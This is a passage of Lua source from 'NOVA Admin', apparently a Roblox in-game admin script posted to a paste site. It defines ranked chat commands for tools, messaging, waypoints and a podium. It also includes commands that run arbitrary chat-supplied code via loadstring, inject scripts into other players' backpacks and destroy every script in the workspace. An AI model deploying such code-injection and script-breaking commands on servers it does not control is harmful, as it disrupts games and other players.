  4582.     function(Msg,Speaker)
  4583.         local Give = {}
  4584.         for _,v in pairs(NOVA.Services.Lighting:children()) do
  4585.             Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4586.                 function()
  4587.                     table.insert(Give,v:Clone())
  4588.                 end
  4589.             )
  4590.         end
  4591.         Output("Done",NOVA.Colors.Green,Speaker,nil,
  4592.             function()
  4593.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4594.                     for _,Tool in pairs(Give) do
  4595.                         Tool:Clone().Parent = v.Backpack
  4596.                     end
  4597.                 end
  4598.                 RemoveTablets(Speaker)
  4599.             end
  4600.         )
  4601.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  4602.     end
  4603. )
  4604.  
  4605. AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
  4606.     function(Msg,Speaker)
  4607.         pcall(function()
  4608.             for _,Tool in pairs(Speaker.Backpack:children()) do
  4609.                 Tool:Clone().Parent = NOVA.Services.Lighting
  4610.             end
  4611.         end)
  4612.     end
  4613. )
  4614.  
  4615. AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
  4616.     function(Msg,Speaker)
  4617.         Split = GetSplit(Msg)
  4618.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4619.             if v:FindFirstChild("PlayerGui") ~= nil then
  4620.                 makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui)
  4621.             end
  4622.         end
  4623.     end
  4624. )
  4625.  
  4626. AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
  4627.     function(Msg,Speaker)
  4628.         local Data = GetRankedTable(Speaker)
  4629.         Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker)
  4630.         Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
  4631.         Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
  4632.             function()
  4633.                 RemoveTablets(Speaker)
  4634.                 OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker)
  4635.             end
  4636.         )
  4637.         Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker)
  4638.         Output("How to use commands.",Data.Color,Speaker,nil,
  4639.             function()
  4640.                 RemoveTablets(Speaker)
  4641.                 Output("To use a command you use 1 slash then the arguments seperated by a slash.",Data.Color,Speaker)
  4642.                 Output("Please note it is a slash ( located below/around the 'Return'/'Enter'  key on your keyboard, and near the 'Shift' key below 'Enter' on your keyboard.",Data.Color,Speaker)
  4643.                 Output("Example : " .. NOVA.Bet.. "kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker)
  4644.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end)
  4645.             end
  4646.         )
  4647.         Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
  4648.         Output("Thank you for using NOVA Admin. ( edited by t".."u".."s".."K".."O".."r".."6".."6".."1" .. ")" ,Data.Color,Speaker)
  4649.  end
  4650. )
  4651.  
  4652. AddCommand("Break","break",7,"Breaks all scripts in workspace.","No Arguments",
  4653.     function(Msg,Speaker)
  4654.         for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  4655.             if v:IsA("Script") then
  4656.                 v.Disabled = true
  4657.                 v.Parent = NOVA.Services.Debris
  4658.                 v.Disabled = true
  4659.                 v:Destroy()
  4660.                 v.Parent = NOVA.Services.Debris
  4661.                 v.Disabled = true
  4662.                 v:Destroy()
  4663.             end
  4664.         end
  4665.     end
  4666. )
  4667.  
  4668. AddCommand("Execute","exe",6,"Loads the following string.","<Source>",
  4669.     function(Msg,Speaker)
  4670.         if Msg == nil or #Msg == 0 then
  4671.             RemoveTablets(Speaker)
  4672.             local Data = GetRankedTable(Speaker)
  4673.             for _,v in pairs(Data.Executeables:children()) do
  4674.                 Output(v.Name,Data.Color,Speaker,nil,
  4675.                     function()
  4676.                         local a,b=coroutine.resume(coroutine.create(function() loadstring([[
  4677.                             --[=[NOVA Internal Executeable Script ]=]--
  4678.                             Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[")
  4679.                         ]] .. v.Value .. [[]])() end))
  4680.                         if not a then
  4681.                             Output(b,NOVA.Colors.Red,Speaker,15)
  4682.                         else
  4683.                             Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5)
  4684.                         end
  4685.                     end
  4686.                 )
  4687.             end
  4688.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  4689.         else
  4690.             Source = Msg
  4691.             --Source = string.gsub(Source,"print(","PrintS(")
  4692.             --Source = string.gsub(Source,"print'","PrintS'")
  4693.             local a,b=coroutine.resume(coroutine.create(function() loadstring([[Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[") ]] .. Source)() end))
  4694.             if not a then
  4695.                 Output(b,NOVA.Colors.Red,Speaker,15)
  4696.             else
  4697.                 Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5)
  4698.             end
  4699.         end
  4700.     end
  4701. )
  4702.  
  4703. AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
  4704.     function(Msg,Speaker)
  4705.         pcall(function()
  4706.             CreateLocalScript([[
  4707.                 game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
  4708.                 ]],
  4709.                 Speaker.Backpack)
  4710.            
  4711.         end)
  4712.     end
  4713. )
  4714.  
  4715. AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
  4716.     function(Msg,Speaker)
  4717.         pcall(function()
  4718.             NOVA.Sounds.Sound.Pitch = tonumber(Msg)
  4719.         end)
  4720.     end
  4721. )
  4722. AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
  4723.     function(Msg,Speaker)
  4724.         pcall(function()
  4725.             NOVA.Sounds.Sound.Looped = Msg
  4726.         end)
  4727.     end
  4728. )
  4729. AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
  4730.     function(Msg,Speaker)
  4731.         Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end)
  4732.     end
  4733. )
  4734. AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
  4735.     function(Msg,Speaker)
  4736.         local Give = {}
  4737.         for _,v in pairs(NOVA.Plugins) do
  4738.             Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4739.                 function()
  4740.                     table.insert(Give,v:Clone())
  4741.                 end
  4742.             )
  4743.         end
  4744.         Output("Done",NOVA.Colors.Green,Speaker,nil,
  4745.             function()
  4746.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4747.                     for _,Tool in pairs(Give) do
  4748.                         New = Tool:Clone()
  4749.                         New.Parent = v.Backpack
  4750.                         pcall(function()
  4751.                             New.Disabled = false
  4752.                         end)
  4753.                     end
  4754.                 end
  4755.                 RemoveTablets(Speaker)
  4756.             end
  4757.         )
  4758.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  4759.     end
  4760. )
  4761. AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
  4762.     function(Msg,Speaker)
  4763.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4764.             pcall(function()
  4765.                 for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4766.                     part.Locked = true
  4767.                 end
  4768.             end)
  4769.         end
  4770.     end
  4771. )
  4772. AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
  4773.     function(Msg,Speaker)
  4774.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4775.             pcall(function()
  4776.                 for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4777.                     part.Locked = false
  4778.                 end
  4779.             end)
  4780.         end
  4781.     end
  4782. )
  4783. AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
  4784.     function(Msg,Speaker)
  4785.         Split = GetSplit(Msg)
  4786.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4787.             pcall(function()
  4788.                 CreateLocalScript(Msg:sub(Split+1),v.Backpack)
  4789.             end)
  4790.         end
  4791.     end
  4792. )
  4793. AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
  4794.     function(Msg,Speaker)
  4795.         NOVA.Services.Lighting.Brightness = tonumber(Msg)
  4796.     end
  4797. )
  4798. AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
  4799.     function(Msg,Speaker)
  4800.         pcall(function()
  4801.             Rtn = CFrame.new(
  4802.                 Speaker.Character.Torso.CFrame.x,
  4803.                 Speaker.Character.Torso.CFrame.y,
  4804.                 Speaker.Character.Torso.CFrame.z
  4805.             )
  4806.             table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
  4807.         end)
  4808.     end
  4809. )
  4810. AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
  4811.     function(Msg,Speaker)
  4812.         for _,v in pairs(NOVA.Waypoints) do
  4813.             Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4814.                 pcall(function()
  4815.                     RemoveTablets(Speaker)
  4816.                     Speaker.Character.Torso.CFrame = v.CFrame
  4817.                 end)
  4818.             end)
  4819.         end
  4820.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  4821.     end
  4822. )
  4823. AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
  4824.     function(Msg,Speaker)
  4825.         Rtn = {}
  4826.         for num,v in pairs(NOVA.Waypoints) do
  4827.             Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4828.                 table.insert(Rtn,num)
  4829.             end)
  4830.         end
  4831.         Output("Done",NOVA.Colors.Green,Speaker,nil,function()
  4832.             RemoveTablets(Speaker)
  4833.             for _,v in pairs(Rtn) do
  4834.                 table.remove(NOVA.Waypoints,v)
  4835.             end
  4836.         end)
  4837.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  4838.     end
  4839. )
  4840. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  4841.     function(Msg,Speaker)
  4842.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4843.             pcall(function()
  4844.                 for i=0,3 do
  4845.                     Instance.new("HopperBin",v.Backpack).BinType = i
  4846.                 end
  4847.             end)
  4848.         end
  4849.     end
  4850. )
  4851. AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
  4852.     function(Msg,Speaker)
  4853.         local MainColor = Color3.new(0,0,0)
  4854.         local SeccondaryColor = Color3.new(0.69,0.13,0.13)
  4855.         local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
  4856.         local MainCFrame = Speaker.Character.Torso.CFrame
  4857.             * CFrame.new(0,-4,0)
  4858.             + Speaker.Character.Torso.CFrame.lookVector*3
  4859.         local SeccondaryCFrame = Speaker.Character.Torso.CFrame
  4860.             * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
  4861.             + Speaker.Character.Torso.CFrame.lookVector*3
  4862.         if CFrame == nil then return end    
  4863.         coroutine.resume(coroutine.create(function()
  4864.        
  4865.             for i=1,25 do
  4866.                 wait()
  4867.                 local Step = Instance.new("Part",Main)
  4868.                 Step.FormFactor = "Custom"
  4869.                 Step.Name = "Step"
  4870.                 Step.Anchored = true
  4871.                 Step.Locked = true
  4872.                 Step.Reflectance = 0
  4873.                 Step.TopSurface = "Smooth"
  4874.                 Step.BottomSurface = "Smooth"
  4875.                 Step.BrickColor = BrickColor.new(SeccondaryColor)
  4876.                 Step.Size = Vector3.new(6,1,3)
  4877.                 Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
  4878.                 Instance.new("BlockMesh",Step)
  4879.                
  4880.                 local Carpet = Instance.new("Part",Main)
  4881.                 Carpet.FormFactor = "Custom"
  4882.                 Carpet.Name = "Carpet"
  4883.                 Carpet.Anchored = true
  4884.                 Carpet.Locked = true
  4885.                 Carpet.Reflectance = 0
  4886.                 Carpet.TopSurface = "Smooth"
  4887.                 Carpet.BottomSurface = "Smooth"
  4888.                 Carpet.BrickColor = BrickColor.new(MainColor)
  4889.                 Carpet.Size = Vector3.new(4,1,3.2)
  4890.                 Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
  4891.                 Instance.new("BlockMesh",Carpet)  
  4892.             end    
  4893.             local MainCirc = Instance.new("Part",Main)
  4894.             MainCirc.FormFactor = "Custom"
  4895.             MainCirc.Name = "MainCirc"
  4896.             MainCirc.Anchored = true
  4897.             MainCirc.Locked = true
  4898.             MainCirc.Reflectance = 0
  4899.             MainCirc.TopSurface = "Smooth"
  4900.             MainCirc.BottomSurface = "Smooth"
  4901.             MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
  4902.             MainCirc.Size = Vector3.new(20,1,20)
  4903.             MainCirc.CFrame = SeccondaryCFrame
  4904.             Instance.new("CylinderMesh",MainCirc)
  4905.            
  4906.             local SeccondaryCirc = Instance.new("Part",Main)
  4907.             SeccondaryCirc.FormFactor = "Custom"
  4908.             SeccondaryCirc.Name = "SeccondaryCirc"
  4909.             SeccondaryCirc.Anchored = true
  4910.             SeccondaryCirc.Locked = true
  4911.             SeccondaryCirc.Reflectance = 0
  4912.             SeccondaryCirc.TopSurface = "Smooth"
  4913.             SeccondaryCirc.BottomSurface = "Smooth"
  4914.             SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
  4915.             SeccondaryCirc.Size = Vector3.new(18,1,18)
  4916.             SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
  4917.             Instance.new("CylinderMesh",SeccondaryCirc)
  4918.             for i=1,math.floor(360/6) do
  4919.                 local Spike = Instance.new("Part",Main)
  4920.                 Spike.FormFactor = "Custom"
  4921.                 Spike.Name = "Spike"
  4922.                 Spike.Anchored = true
  4923.                 Spike.Locked = true
  4924.                 Spike.Reflectance = 0
  4925.                 Spike.TopSurface = "Smooth"
  4926.                 Spike.BottomSurface = "Smooth"
  4927.                 Spike.BrickColor = BrickColor.new(MainColor)
  4928.                 Spike.Size = Vector3.new(1,7,1)
  4929.                 Spike.CFrame = SeccondaryCFrame
  4930.                     * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
  4931.                     * CFrame.new(7,-7,0)
  4932.                 Torch = Instance.new("Part",Main)
  4933.                 Torch.Reflectance = 1e+999
  4934.                 Torch.FormFactor = "Custom"
  4935.                 Torch.Shape = "Ball"
  4936.                 Torch.Anchored = true
  4937.                 Torch.Locked = true
  4938.                 Torch.Size = Vector3.new(2,2,2)
  4939.                 Torch.CFrame = Spike.CFrame
  4940.                     * CFrame.new(0,3.5,0)
  4941.                     * CFrame.Angles(0,0,0)
  4942.                 Instance.new("Fire",Torch)
  4943.             end
  4944.         end))
  4945.     end
  4946. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement